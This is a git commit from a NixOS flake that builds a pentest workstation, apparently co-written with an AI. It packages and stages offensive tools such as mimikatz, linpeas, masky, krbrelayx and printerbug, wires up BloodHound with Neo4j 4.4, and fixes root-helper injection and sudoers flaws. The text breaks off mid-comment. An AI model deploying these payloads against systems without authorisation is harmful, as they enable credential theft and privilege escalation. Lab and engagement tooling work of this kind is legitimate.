NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor
git clone https://git.daemon-sec.xyz/NixDaemon.git
Log | Files | Refs | README

commit 5dca6473c5d497e06270c49c86bdfe3ca987fa87
parent 399bc6a006e8d57a9ddbb602065dbb694b9c2be3
Author: DAEMON <zer0sec.xp@icloud.com>
Date:   Thu,  8 Oct 2026 21:15:22 +0100

fix(pentest): review findings, working BloodHound launchers, dotfiles gaps

Review findings (one Critical, nine Important), each with a test that failed
first:

C1  The cross-terminal $TARGET loader was dead code: it lived in
    home-manager's programs.zsh.initContent, which is not enabled here, so no
    shell ever read it. Moved to programs.zsh.interactiveShellInit, which
    lands in /etc/zshrc and is sourced before the dotfiles' ZDOTDIR .zshrc.
    The htb VM test now asserts a fresh interactive shell really exports it.
I2  Three staged Linux payloads could not run on a target: chisel and pspy
    were dynamically linked against this machine's glibc, and lse.sh and
    linpeas.sh had /nix/store shebangs. Native Linux slots now cross-build
    statically; sources set dontPatchShebangs. Asserted with file(1).
I3  daemon.pentest.enable = false was an evaluation error. Category defaults
    now follow the master switch.
I4  payload-serve defaulted to port 80, which an unprivileged user cannot
    bind. Default 8000, sub-1024 refused up front.
I5  htb-hosts word-split its hostname arguments, so an embedded newline wrote
    an arbitrary line into /etc/hosts as root without a password. Validated
    per argument, asserted against the root helper directly.
I6  The htbvpn sudo rule was effectively "start any unit", because sudoers
    globs span spaces. Replaced with htbvpn-ctl, a fixed argument-validating
    script, plus --script-security 1 so a user-owned profile cannot run code
    as root.
I7  PowerView.ps1 was missing from the payload tree: a silent cp fallback had
    buried PowerSploit under scripts/ad/share.
I8  masky died on import (setuptools 83 removed pkg_resources). Rewritten to
    importlib. Categories now RUN their tools with --help, not merely resolve
    them, which is how this was found.
I9  promptTarget did nothing: starship renders no module absent from format.
I10 NUCLEI_TEMPLATES is not a variable nuclei reads; it is
    NUCLEI_TEMPLATES_DIR, now asserted against the binary.

BloodHound actually works now. `bloodhound ce|legacy|creds|status|down`
replaces the bare bloodhound-up/down, with the CE API as a hardened systemd
service whose config is generated at start (it carries a JWT key and an admin
password, so it cannot live in the store). Getting there needed neo4j 4.4.42
packaged in _pkgs: nixpkgs ships 2026.09, and BloodHound CE's migration calls
db.indexes, removed in Neo4j 5 — its own compose file pins 4.4.42, and legacy
BloodHound wants 4.x too. It runs on jdk11, because 4.4 on jdk17 dies with
"module java.base does not open java.nio". Both services run as a dedicated
bloodhound user. Neo4j 4.4 is EOL; that is upstream BloodHound's constraint,
and the derivation says to delete it when BHCE supports Neo4j 5.

Gaps found while testing the real machine:

  * sqlite3 and column were missing, so the dotfiles' whole engagement
    database (htb-list, htb-newbox, creds, findings, flags, note) failed with
    "_pdb_init: command not found".
  * the dotfiles already define an htb() shell function, and a zsh function
    always beats a command on PATH, so this one is htbbox.
  * htbup / htbdown added: connect to the lab in one word.

Also: the category registry moved to flake.lib.pentestPackages so nix flake
check stops warning about an unknown flake output; deprecated xorg.* aliases
replaced; pentest-update no longer reports interpolated pins as outdated; and
htbtarget is EPIPE-safe and reports a failed /etc/hosts update rather than
claiming success.

Verified: 20 category checks, the all-category profile-collision check, four
NixOS VM tests and the whole-system build.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

Diffstat:
MREADME.md | 10++++++----
Mmodules/features/pentest/_overlay.nix | 27+++++++++++++++++++++++++++
Mmodules/features/pentest/_pkgs/default.nix | 80+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----
Mmodules/features/pentest/_sets.nix | 72+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------
Mmodules/features/pentest/ad.nix | 16+++++++++++++++-
Mmodules/features/pentest/bloodhound.nix | 417+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--------------------
Amodules/features/pentest/c2.nix | 23+++++++++++++++++++++++
Mmodules/features/pentest/core.nix | 7+++++++
Amodules/features/pentest/database.nix | 49+++++++++++++++++++++++++++++++++++++++++++++++++
Mmodules/features/pentest/default.nix | 7++++++-
Mmodules/features/pentest/devshells.nix | 2+-
Mmodules/features/pentest/gui.nix | 9++++++---
Amodules/features/pentest/hardware.nix | 62++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mmodules/features/pentest/htb.nix | 157+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------------
Mmodules/features/pentest/options.nix | 83++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---------
Mmodules/features/pentest/osint.nix | 46+++++++++++++++++++++++++++++++++++++++++++---
Mmodules/features/pentest/payloads.nix | 69+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--------
Mmodules/features/pentest/python.nix | 5-----
Amodules/features/pentest/radio.nix | 71+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Amodules/features/pentest/social.nix | 24++++++++++++++++++++++++
Mmodules/features/pentest/update.nix | 21++++++++++++++++++++-
Mmodules/features/pentest/vpn.nix | 125++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------
Mmodules/features/pentest/web.nix | 15++++++++++++++-
Mmodules/features/pentest/wireless.nix | 66+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
Mmodules/home/cheats/pentest.md | 95+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--------------
Mmodules/home/htb-shell.nix | 57+++++++++++++--------------------------------------------
Mmodules/home/prompt.nix | 5+++++
Mmodules/home/ssh.nix | 2+-
Mmodules/hosts/laptop/configuration.nix | 28+++++++++++++++++++++++++---
Msecrets/secrets.yaml | 8++++----
30 files changed, 1399 insertions(+), 259 deletions(-)

diff --git a/README.md b/README.md @@ -79,10 +79,12 @@ NixDaemon/ │ ├── nixpkgs.nix one package set for the system and for the flake's own checks │ ├── core.nix recon.nix ad.nix web.nix pivot.nix crack.nix shells.nix │ ├── wordlists.nix python.nix bloodhound.nix gui.nix payloads.nix - │ ├── dfir.nix reversing.nix wireless.nix cloud.nix osint.nix mobile.nix (off by default) + │ ├── dfir.nix reversing.nix cloud.nix mobile.nix (off by default) + │ ├── wireless.nix radio.nix hardware.nix (off; needs hardware) + │ ├── c2.nix database.nix osint.nix social.nix (off by default) │ ├── vpn.nix htbvpn: the HTB tunnel as a systemd template unit │ ├── time.nix htb-time: conflict-aware clock skew for Kerberos - │ ├── htb.nix htbtarget / htb new: the box you are on, shared across terminals + │ ├── htb.nix htbtarget / htbbox: the box you are on, shared across terminals │ ├── devshells.nix nix develop #pentest, and the all-category collision check │ └── update.nix pentest-update: move the _pkgs pins forward, deliberately └── home/ flake.homeModules.* — the user's home @@ -122,8 +124,8 @@ NixDaemon/ | Secrets | sops-nix (age) for the repo; secretspec (keyring) for projects | modules/hosts/laptop/sops.nix, modules/home/sops.nix, shell.nix | | GPU | NVIDIA open module, panel on the RTX; Aquamarine told the GPUs by colon-free udev symlinks | modules/hosts/laptop/nvidia.nix | | Fan | `fan-throttle-guard`: 3.2 GHz floor, EC auto fan, `uniwill` hwmon from a 6.19 driver. `fan` command: status, watch, max/auto with a clamp watchdog | modules/hosts/laptop/fan-*.nix, uniwill-laptop/, modules/home/fan.nix | -| Pentest | 18 toggleable categories (`daemon.pentest.<category>.enable`): recon, AD, web, pivoting, cracking, shells, wordlists, payloads, BloodHound, GUI on; DFIR, reversing, wireless, cloud, OSINT, mobile off. Tools go to `environment.systemPackages`, so `sudo nmap -sS` works. Every category carries a smoke check: `nix flake check` | modules/features/pentest/ | -| HTB workflow | `htbvpn up/down/list` (systemd template unit), `htbtarget` (shared across terminals via zsh precmd; writes `/etc/hosts` for Kerberos), `htbtime` (clock skew, restores exactly what it changed), `htb new <box>`, `payload-serve` (binds the tunnel only, refuses when the VPN is down), `pentest-cheat` | modules/features/pentest/{vpn,time,htb,payloads}.nix | +| Pentest | 23 toggleable categories (`daemon.pentest.<category>.enable`, every one listed in `configuration.nix`): recon, AD, web, pivoting, cracking, shells, wordlists, payloads, BloodHound, GUI on; DFIR, reversing, wireless, radio (SDR/BT/RFID), hardware (JTAG/flash/CAN), C2, database, cloud, OSINT, social, mobile off. Tools go to `environment.systemPackages`, so `sudo nmap -sS` works. Every category carries a smoke check: `nix flake check` | modules/features/pentest/ | +| HTB workflow | `htbvpn up/down/list` (systemd template unit), `htbtarget` (shared across terminals via zsh precmd; writes `/etc/hosts` for Kerberos), `htbtime` (clock skew, restores exactly what it changed), `htbbox new <box>`, `payload-serve` (binds the tunnel only, refuses when the VPN is down), `pentest-cheat` | modules/features/pentest/{vpn,time,htb,payloads}.nix | | Payloads | `$PAYLOADS`: Windows x64/x86, Linux amd64/arm64 and macOS arm64. ligolo-ng and chisel cross-compiled from source; mimikatz (two versions), the potato family, SharpCollection's 102 C# tools and PEASS pinned by hash | modules/features/pentest/payloads.nix, _pkgs/ | | Nix | flakes, Hyprland cache, `nh` with weekly `clean all --keep 5 --keep-since 14d` | modules/hosts/laptop/nix-settings.nix | diff --git a/modules/features/pentest/_overlay.nix b/modules/features/pentest/_overlay.nix @@ -33,6 +33,33 @@ final: prev: # rebuilding from source with its full test suite for no reason. Only # 3.12's anyio is broken; 3.14 (the default, used by impacket) is fine. pythonPackagesExtensions = prev.pythonPackagesExtensions ++ [ + # 2026-10-08 — masky dies the moment you run it with + # "ModuleNotFoundError: No module named 'pkg_resources'". Installing + # setuptools does NOT fix it: setuptools 83 (this nixpkgs) removed + # pkg_resources altogether, so the module simply no longer exists for any + # python here. masky has exactly one use of it — `resource_filename` to + # locate its bundled Masky.exe — so it is rewritten to the importlib + # equivalent, which is what upstream would do. + # + # Caught by the smokeBins run in _sets.nix. `command -v masky` always + # succeeded, which is precisely why that run now exists. + # Narrow: touches masky only. + ( + pyfinal: pyprev: + prev.lib.optionalAttrs (pyprev ? masky) { + masky = pyprev.masky.overridePythonAttrs (o: { + postPatch = (o.postPatch or "") + '' + substituteInPlace masky/lib/smb.py \ + --replace-fail \ + 'from pkg_resources import resource_filename' \ + 'from importlib.resources import files as _ir_files' \ + --replace-fail \ + 'resource_filename("masky.bin", "Masky.exe")' \ + 'str(_ir_files("masky.bin") / "Masky.exe")' + ''; + }); + } + ) ( pyfinal: pyprev: prev.lib.optionalAttrs (pyprev ? anyio && (pyprev.python.pythonVersion or "") == "3.12") { diff --git a/modules/features/pentest/_pkgs/default.nix b/modules/features/pentest/_pkgs/default.nix @@ -69,7 +69,13 @@ rec { inherit hash; }; in - pkgs.runCommand "peass-${version}" { } '' + pkgs.runCommand "peass-${version}" + { + # linpeas.sh runs on the TARGET. stdenv's fixupPhase would rewrite its + # shebang to a /nix/store bash that does not exist there. + dontPatchShebangs = true; + } + '' mkdir -p $out/linux $out/windows install -m0755 ${asset "linpeas.sh" "sha256-5Eso9YNTGbvD6R31h5Yl8q0CY07s+L3dAhbmfD64Cjs="} $out/linux/linpeas.sh install -m0644 ${asset "winPEASx64.exe" "sha256-6eLCsHPPrhwiqDxGbsQ+Qp11KoONY01evH5Zf/LAYOw="} $out/windows/winPEASx64.exe @@ -157,9 +163,8 @@ rec { alsa-lib at-spi2-atk at-spi2-core atk cairo cups dbus expat gdk-pixbuf glib gtk3 libdrm libxkbcommon libgbm mesa nspr nss pango libGL libglvnd systemdLibs - xorg.libX11 xorg.libXcomposite xorg.libXdamage xorg.libXext - xorg.libXfixes xorg.libXrandr xorg.libxcb xorg.libXScrnSaver - xorg.libxshmfence xorg.libXtst + libX11 libXcomposite libXdamage libXext libXfixes libXrandr libxcb + libxscrnsaver libxshmfence libxtst ]; unpackPhase = "unzip -q $src"; @@ -246,6 +251,10 @@ rec { }; nativeBuildInputs = [ pkgs.makeWrapper ]; dontBuild = true; + # printerbug.py is staged into $PAYLOADS to run elsewhere; keep its + # `#!/usr/bin/env python3`. The bin/ wrappers are makeWrapper-generated and + # unaffected. + dontPatchShebangs = true; installPhase = '' mkdir -p $out/share/krbrelayx $out/bin cp -r *.py lib $out/share/krbrelayx/ @@ -274,6 +283,9 @@ rec { hash = "sha256-QKJvjmSUtwcgZyz7KX5JYEWSznQuRyTBeDIv+5KpITg="; }; dontBuild = true; + # Same reason as peass: lse.sh is meant to run on the target. /bin/sh + # exists on NixOS too, so the unpatched shebang works locally as well. + dontPatchShebangs = true; installPhase = '' install -Dm0755 lse.sh $out/bin/lse install -Dm0755 lse.sh $out/share/lse/lse.sh @@ -335,6 +347,66 @@ rec { }; }; + # Neo4j 4.4.42 — the version BloodHound actually works with. + # + # nixpkgs ships neo4j 2026.09.0, and BloodHound CE 8.3.1 cannot use it: its + # graph migration calls `db.indexes`, a procedure removed in Neo4j 5. The CE + # API starts, fails the migration and exits: + # "There is no procedure with the name `db.indexes` registered" + # BloodHound's own docker-compose pins neo4j:4.4.42, and legacy BloodHound + # 4.3 expects 4.x too, so this one version serves both viewers. + # + # Yes, this is an EOL database. That is upstream BloodHound's constraint, + # not a choice made here — delete this the day BHCE supports Neo4j 5. + neo4j44 = + let + version = "4.4.42"; + in + pkgs.stdenvNoCC.mkDerivation { + pname = "neo4j"; + inherit version; + src = pkgs.fetchurl { + url = "https://dist.neo4j.org/neo4j-community-${version}-unix.tar.gz"; + hash = "sha256-LB67TUDWV9jHNd31shRLjITR95sFwSrGYr7deOZgghQ="; + }; + nativeBuildInputs = [ pkgs.makeWrapper ]; + dontBuild = true; + # JDK 11, not 17: neo4j 4.4 says "unsupported Java runtime" on 17 and + # then dies with + # LinkageError: Cannot to link java.nio.DirectByteBuffer + # module java.base does not open java.nio to unnamed module + # because JDK 17's module system refuses the reflective access it needs. + # 11 is the runtime upstream supports for this version. + # + # The distribution's shell scripts are meant to run from a writable + # NEO4J_HOME; the service builds one and points at this for lib/. + dontPatchShebangs = false; + installPhase = '' + runHook preInstall + mkdir -p $out/share/neo4j $out/bin + cp -r . $out/share/neo4j/ + for b in neo4j neo4j-admin cypher-shell; do + makeWrapper $out/share/neo4j/bin/$b $out/bin/$b \ + --set JAVA_HOME ${pkgs.jdk11} \ + --prefix PATH : ${ + lib.makeBinPath (with pkgs; [ jdk11 which gawk gnused coreutils procps gnugrep ]) + } + done + runHook postInstall + ''; + meta = { + description = "Neo4j 4.4 community — the version BloodHound requires"; + homepage = "https://neo4j.com/"; + license = lib.licenses.gpl3Only; + platforms = [ "x86_64-linux" ]; + mainProgram = "neo4j"; + }; + }; + + # NOTE: `pentest-update` will always report this pin as "NEWER available". + # That is correct and must NOT be "fixed": the whole point is to keep an + # older build alongside the current one. nixpkgs provides the new one. + # # mimikatz, the older build. nixpkgs carries one version (2.2.0-20220919); # this is the 2021 build, kept because which one a given host tolerates # varies, and "the old one works" is a real finding on an old box. Staged as diff --git a/modules/features/pentest/_sets.nix b/modules/features/pentest/_sets.nix @@ -6,8 +6,9 @@ # One category is declared in one place — its package list — and this derives # the four things that list feeds: # -# flake.pentestPackages.<name> the list itself, as pkgs -> [package]. -# devshells.nix unions these (Task 16). +# flake.lib.pentestPackages.<name> +# the list itself, as pkgs -> [package]. +# devshells.nix unions these. # flake.nixosModules.pentest-<name> # environment.systemPackages when the category # is on. System, not home: half this toolkit @@ -30,33 +31,51 @@ description, packages, expectedBins ? [ ], + # Binaries to actually RUN (with --help), not merely resolve. `command -v` + # cannot see a tool that installs and then dies on a missing python module or + # a bad interpreter — which is how `masky` shipped broken. Spec Testing #2 + # asks for exactly this. Non-zero exit is tolerated (plenty of tools exit 1 + # on --help); an import or loader error is not. + smokeBins ? [ ], # Extra assertions for a category whose deliverable is not a binary (a # wordlist tree, a payload tree). Takes { pkgs, lib }, returns shell appended # to the check; fail with a non-zero exit and a message naming what is wrong. checkScript ? (_: ""), # Merged into the gated config, so a category that is off cannot turn on a - # NixOS service. Takes the module args it needs; returns a config attrset. + # NixOS service. Called with { config, pkgs, lib, user }; take what you need + # and end the pattern with `...`. extraConfig ? (_: { }), default ? true, }: { - flake.pentestPackages.${name} = packages; + flake.lib.pentestPackages.${name} = packages; flake.nixosModules."pentest-${name}" = - { config, pkgs, lib, ... }: + # `user` comes from the nixosSystem's specialArgs (modules/hosts/laptop/ + # default.nix), the same way vpn.nix and htb.nix take it. A category whose + # extraConfig grants a group membership needs the username, and hardcoding + # it in the category would make the file host-specific. + { config, pkgs, lib, user, ... }: let cfg = config.daemon.pentest; on = cfg.enable && cfg.${name}.enable; in { + # The default follows the MASTER switch: with daemon.pentest.enable off, + # every category defaults off too. Otherwise turning the toolkit off + # leaves 12 categories defaulted on and the assertion in options.nix + # fires, which made `enable = false` an eval error rather than simply + # "no toolkit" — and the spec gives the master switch default false. + # An explicit `daemon.pentest.<cat>.enable = true` still wins, and the + # assertion still catches that genuine contradiction. options.daemon.pentest.${name}.enable = lib.mkEnableOption description // { - inherit default; + default = cfg.enable && default; }; config = lib.mkIf on ( lib.mkMerge [ { environment.systemPackages = packages pkgs; } - (extraConfig { inherit config pkgs lib; }) + (extraConfig { inherit config pkgs lib user; }) ] ); }; @@ -70,6 +89,14 @@ passthru.expectedBins = expectedBins; } '' + # The category's OWN binaries first. nativeBuildInputs also puts + # every propagated dependency's bin/ on PATH, which is how a + # python3.12 pywerview from another package's closure shadowed the + # python3.14 one this category actually installs — and made a working + # tool look broken. environment.systemPackages installs exactly this + # list, so this is the faithful PATH. + export PATH=${lib.makeBinPath (packages pkgs)}:$PATH + missing="" for b in ${lib.escapeShellArgs expectedBins}; do command -v "$b" >/dev/null 2>&1 || missing="$missing $b" @@ -79,6 +106,37 @@ echo " (the attribute built, but its binary is named something else)" >&2 exit 1 fi + # A writable HOME: several of these create a config directory on + # first run, and the build sandbox's HOME is /homeless-shelter. + # Without this, nxc fails with FileNotFoundError on ~/.nxc and the + # smoke test reports a defect that does not exist on a real machine. + export HOME=$(mktemp -d) + + # NIX_PYTHONPATH as well as PYTHONPATH: nixpkgs' python setup hook + # uses the NIX_ one, and clearing only PYTHONPATH left the leak in + # place. Every python package in this check's + # nativeBuildInputs puts its modules on PYTHONPATH, so one tool's + # python3.12 impacket shadows another's python3.14 one and the tool + # dies on an import. That is an artifact of the check, not a defect — + # it produced false positives for pywerview and donpapi, and I + # briefly removed a working tool because of it. A user's shell has no + # PYTHONPATH, so clearing it is also the faithful test. + for b in ${lib.escapeShellArgs smokeBins}; do + # NOT a variable called `out`: that is the derivation's own + # output path, and clobbering it makes the final redirect + # ambiguous. (Second time I have made this mistake in this repo.) + smoke_out=$(env -u PYTHONPATH -u PYTHONHOME -u NIX_PYTHONPATH \ + -u NIX_PYTHONPREFIX -u NIX_PYTHONEXECUTABLE \ + "$b" --help 2>&1 </dev/null | head -40 || true) + case "$smoke_out" in + *ModuleNotFoundError*|*"ImportError"*|*"No such file or directory"*|\ + *"command not found"*|*"cannot open shared object"*) + echo "pentest-${name}: '$b' is installed but cannot run:" >&2 + printf '%s\n' "$smoke_out" | sed 's/^/ /' >&2 + exit 1 ;; + esac + done + ${checkScript { inherit pkgs lib; }} echo "pentest-${name}: ${toString (builtins.length expectedBins)} binaries ok" > $out ''; diff --git a/modules/features/pentest/ad.nix b/modules/features/pentest/ad.nix @@ -46,16 +46,30 @@ lsassy dploot masky + pywerview ]); + # pywerview is installed but kept OUT of the shared python env: it is the + # only tool pulling ldap3-bleeding-edge while everything else pulls + # ldap3-2.9.1, and buildEnv cannot hold both (spec C2's documented fallback). + # Its own wrapper carries the bleeding-edge copy, so the command works. + # PowerView proper is staged at $PAYLOADS/scripts/ad/PowerView.ps1. expectedBins = [ "nxc" "certipy" "bloodhound-python" "kerbrute" "responder" "mitm6" "coercer" "donpapi" "adidnsdump" "ldapdomaindump" "smbmap" "evil-winrm" - "pypykatz" "bloodyAD" "lsassy" "dploot" "masky" + "pypykatz" "bloodyAD" "lsassy" "dploot" "masky" "pywerview" # From _impacket.nix: proves the shared helper composes with this category. "secretsdump" "ntlmrelayx" "GetUserSPNs" "secretsdump.py" "rusthound-ce" # From _pkgs/: the printer-bug family, and the automation front-end. "printerbug" "krbrelayx" "addspn" "dnstool" "linWinPwn" ]; + + # The python-heavy ones, actually executed: these are the tools that resolve + # on PATH and then fail at import time. + smokeBins = [ + "nxc" "certipy" "bloodhound-python" "pypykatz" "bloodyAD" "lsassy" + "dploot" "masky" "pywerview" "donpapi" "coercer" "adidnsdump" + "ldapdomaindump" "smbmap" "printerbug" "krbrelayx" "secretsdump" + ]; } diff --git a/modules/features/pentest/bloodhound.nix b/modules/features/pentest/bloodhound.nix @@ -1,53 +1,49 @@ -# modules/features/pentest/bloodhound.nix — BloodHound CE and the two databases -# it needs. +# modules/features/pentest/bloodhound.nix — both BloodHound viewers, each with +# a single command that brings up everything it needs. # -# nixpkgs has no services.bloodhound, so postgresql and neo4j are wired here by -# hand. Both are set to NOT start at boot: neo4j is a JVM that wants a GB of -# RAM, and this laptop should not pay for it on every boot just because the -# category is installed. Start them when you need the graph: +# bloodhound ce postgres + neo4j + the CE API, then the URL to open +# bloodhound legacy neo4j + the archived 4.3.1 GUI +# bloodhound status what is up, and where +# bloodhound down stop all of it +# bloodhound creds the CE admin password (printed on first start) # -# bloodhound-up postgresql, neo4j, then the BloodHound API -# bloodhound-down stop all three -# bloodhound-status what is running, and the URL +# The two are NOT interchangeable, and this is the thing that wastes an hour: # -# BOTH viewers are installed, and they are not interchangeable: +# bloodhound-ce reads CE-format JSON. Collect with `rusthound-ce` or +# SharpHound CE ($PAYLOADS/windows/amd64/ad). +# bloodhound-legacy reads the OLD format, which is what +# `bloodhound-python` 1.9 and SharpHound v1 produce. CE +# refuses it, which is the only reason this is still here. +# nixpkgs dropped it (archived upstream, Electron 11) — +# lab data only. # -# bloodhound-ce the current server. Collect with `rusthound-ce` or -# SharpHound CE ($PAYLOADS/windows/amd64/ad), then upload -# the zip through its web UI. -# bloodhound-legacy the archived 4.3.1 Electron GUI, for data in the OLD -# format — what `bloodhound-python` 1.9 and SharpHound v1 -# produce. CE refuses that format, which is the only -# reason this is still here. +# Nothing starts at boot: neo4j is a JVM that wants a gigabyte, and the API +# follows it. `bloodhound ce` is how you pay for it, when you want it. # -# So: CE data needs rusthound-ce; legacy data needs bloodhound-python. Feeding -# one format to the other viewer fails with an unhelpful parse error, and that -# is the single most common way to waste an hour with BloodHound. -# -# The first CE run prints its own admin credentials — this module deliberately -# does not invent a config file for the API: it manages the databases and the -# lifecycle, not BloodHound's own first-run bootstrap. +# Why trust auth and no neo4j password: both databases listen on localhost +# only and exist to hold one lab's graph. The alternative is a secret to +# manage for no gain. The CE admin password IS generated, because it guards a +# web UI; it is written once to the state directory. { lib, self, ... }: { imports = [ ((import ./_sets.nix { inherit lib; }) { name = "bloodhound"; - description = "BloodHound CE with its postgresql and neo4j"; + description = "BloodHound CE and Legacy, with neo4j and postgresql"; packages = pkgs: + let + extra = import ./_pkgs/default.nix { inherit lib pkgs; }; + in [ - pkgs.bloodhound-ce # the CE server: API + web graph viewer - pkgs.neo4j # `cypher-shell`, for poking the graph by hand + pkgs.bloodhound-ce # the CE API + web graph viewer pkgs.bloodhound-py # legacy-format collector pkgs.rusthound-ce # CE-format collector - ] - ++ [ - # BloodHound Legacy 4.3.1, the old Electron viewer. nixpkgs dropped - # it (archived upstream, Electron 11); it is here because CE cannot - # ingest the pre-CE JSON that bloodhound-python 1.9 and SharpHound v1 - # produce, so for that data this is still the only viewer. - (import ./_pkgs/default.nix { inherit lib pkgs; }).bloodhoundLegacy + # Neo4j 4.4, NOT nixpkgs' 2026.x: BloodHound CE's migration calls + # `db.indexes`, removed in Neo4j 5. See _pkgs/default.nix. + extra.neo4j44 # `neo4j`, `cypher-shell`, `neo4j-admin` + extra.bloodhoundLegacy ]; expectedBins = [ @@ -61,18 +57,202 @@ extraConfig = { pkgs, lib, config, ... }: + let + stateDir = "/var/lib/bloodhound"; + configFile = "${stateDir}/bhapi.json"; + port = 8080; + systemctl = "/run/current-system/sw/bin/systemctl"; + sudo = "/run/wrappers/bin/sudo"; + dbUnits = "neo4j.service postgresql.service"; + + extra = import ./_pkgs/default.nix { inherit lib pkgs; }; + neo4j44 = extra.neo4j44; + + # Neo4j's scripts expect a writable NEO4J_HOME. Build one per boot: + # lib/ and bin/ come from the store, everything it writes is real. + neo4jSetup = pkgs.writeShellScript "neo4j-setup" '' + set -euo pipefail + PATH=${lib.makeBinPath [ pkgs.coreutils ]}:$PATH + H=${stateDir}/neo4j + mkdir -p $H/{conf,data,logs,run,import,plugins,certificates} + ln -sfn ${neo4j44}/share/neo4j/lib $H/lib + ln -sfn ${neo4j44}/share/neo4j/bin $H/bin + cat > $H/conf/neo4j.conf <<'EOF' + # One lab graph on loopback. Auth is off because BloodHound needs + # credentials either way and a password here guards nothing. + dbms.security.auth_enabled=false + dbms.default_listen_address=127.0.0.1 + dbms.connector.bolt.enabled=true + dbms.connector.bolt.listen_address=127.0.0.1:7687 + dbms.connector.http.enabled=true + dbms.connector.http.listen_address=127.0.0.1:7474 + dbms.connector.https.enabled=false + dbms.memory.heap.initial_size=512m + dbms.memory.heap.max_size=1G + dbms.memory.pagecache.size=512m + dbms.jvm.additional=-XX:+UseG1GC + EOF + ${pkgs.gnused}/bin/sed -i 's/^ //' $H/conf/neo4j.conf + ''; + + # The config is written at START, not by Nix: it carries a generated + # JWT signing key, and a secret in the Nix store is world-readable. + mkConfig = pkgs.writeShellScript "bloodhound-ce-config" '' + set -euo pipefail + PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.openssl pkgs.jq ]}:$PATH + mkdir -p ${stateDir}/work + [ -s ${stateDir}/jwt.key ] || { openssl rand -base64 48 > ${stateDir}/jwt.key; chmod 600 ${stateDir}/jwt.key; } + [ -s ${stateDir}/admin.pw ] || { openssl rand -base64 18 > ${stateDir}/admin.pw; chmod 600 ${stateDir}/admin.pw; } + + jq -n \ + --arg jwt "$(cat ${stateDir}/jwt.key)" \ + --arg pw "$(cat ${stateDir}/admin.pw)" \ + '{ + version: 1, + bind_addr: "127.0.0.1:${toString port}", + root_url: "http://127.0.0.1:${toString port}/", + metrics_port: ":2112", + work_dir: "${stateDir}/work", + log_level: "INFO", + graph_driver: "neo4j", + collectors_base_path: "${pkgs.bloodhound-ce.collectors}", + database: { + addr: "127.0.0.1:5432", + database: "bloodhound", + username: "bloodhound", + secret: "trust" + }, + neo4j: { + addr: "127.0.0.1:7687", + database: "neo4j", + username: "neo4j", + secret: "neo4j" + }, + crypto: { + jwt: { signing_key: $jwt }, + argon2: { memory_kibibytes: 1048576, num_iterations: 1, num_threads: 4 } + }, + default_admin: { + principal_name: "admin", + password: $pw, + email_address: "admin@bloodhound.lab", + first_name: "Admin", + last_name: "User", + expire_now: false + }, + enable_startup_wait_period: false, + enable_api_logging: true, + enable_cypher_mutations: true, + disable_cypher_complexity_limit: true + }' > ${configFile} + chmod 600 ${configFile} + ''; + + bloodhound = pkgs.writeShellScriptBin "bloodhound" '' + set -uo pipefail + PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.curl pkgs.systemd pkgs.gnugrep ]}:$PATH + + wait_for() { # wait_for <url> <seconds> <label> + local i + for i in $(seq 1 "$2"); do + curl -fsS -o /dev/null "$1" 2>/dev/null && return 0 + sleep 1 + done + echo "bloodhound: $3 did not answer within $2s" >&2 + return 1 + } + + start_dbs() { + echo "bloodhound: starting ${dbUnits} (neo4j is a JVM — give it ~20s)" + ${sudo} -n ${systemctl} start ${dbUnits} || return 1 + wait_for http://127.0.0.1:7474 90 "neo4j" || { + echo " journalctl -u neo4j" >&2; return 1; } + echo "bloodhound: neo4j up (browser: http://127.0.0.1:7474)" + } + + case "''${1:-status}" in + ce) + start_dbs || exit 1 + echo "bloodhound: starting the CE API" + ${sudo} -n ${systemctl} start bloodhound-ce.service || { + echo " journalctl -u bloodhound-ce" >&2; exit 1; } + if wait_for http://127.0.0.1:${toString port}/ui/login 120 "the CE API"; then + echo "" + echo " BloodHound CE: http://127.0.0.1:${toString port}/" + echo " user: admin" + echo " password: run 'bloodhound creds'" + echo "" + echo " Upload CE-format zips only (rusthound-ce / SharpHound CE)." + else + echo " journalctl -u bloodhound-ce" >&2; exit 1 + fi ;; + + legacy) + # Legacy talks straight to neo4j; it needs no API server. + start_dbs || exit 1 + echo "bloodhound: launching the archived 4.3.1 GUI" + echo " connect to bolt://127.0.0.1:7687 (auth is disabled)" + echo " feed it LEGACY-format zips (bloodhound-python / SharpHound v1)" + exec bloodhound-legacy ;; + + creds) + # Read through sudo, not with a `[ -r ]` guard first: the file + # belongs to the bloodhound service user and is mode 600, so + # it is deliberately unreadable to you directly — the guard + # was always false and this never printed anything. + pw=$(${sudo} -n ${pkgs.coreutils}/bin/cat ${stateDir}/admin.pw 2>/dev/null || true) + if [ -n "''${pw:-}" ]; then + echo "user: admin" + echo "pass: $pw" + else + echo "bloodhound: no credentials yet — run 'bloodhound ce' once" >&2 + exit 1 + fi ;; + + down) + ${sudo} -n ${systemctl} stop bloodhound-ce.service 2>/dev/null || true + ${sudo} -n ${systemctl} stop ${dbUnits} || true + echo "bloodhound: stopped" ;; + + status) + for u in neo4j.service postgresql.service bloodhound-ce.service; do + printf ' %-24s %s\n' "$u" "$(systemctl is-active "$u" 2>/dev/null || echo inactive)" + done + curl -fsS -o /dev/null http://127.0.0.1:${toString port}/ui/login 2>/dev/null \ + && echo " CE UI: http://127.0.0.1:${toString port}/" \ + || echo " CE UI: not answering" ;; + + -h|--help) echo "usage: bloodhound ce | legacy | creds | status | down" ;; + *) echo "usage: bloodhound ce | legacy | creds | status | down" >&2; exit 2 ;; + esac + ''; + in { - services.neo4j = { - enable = true; - # BloodHound talks bolt on 7687; 7474 is neo4j's own browser. - http.enable = true; - bolt.enable = true; - # NixOS enables neo4j's HTTPS connector by default, and neo4j then - # refuses to start: "HTTPS set to enabled, but no SSL policy - # provided". The module ships no certificate, so the only way - # `services.neo4j.enable = true` works at all 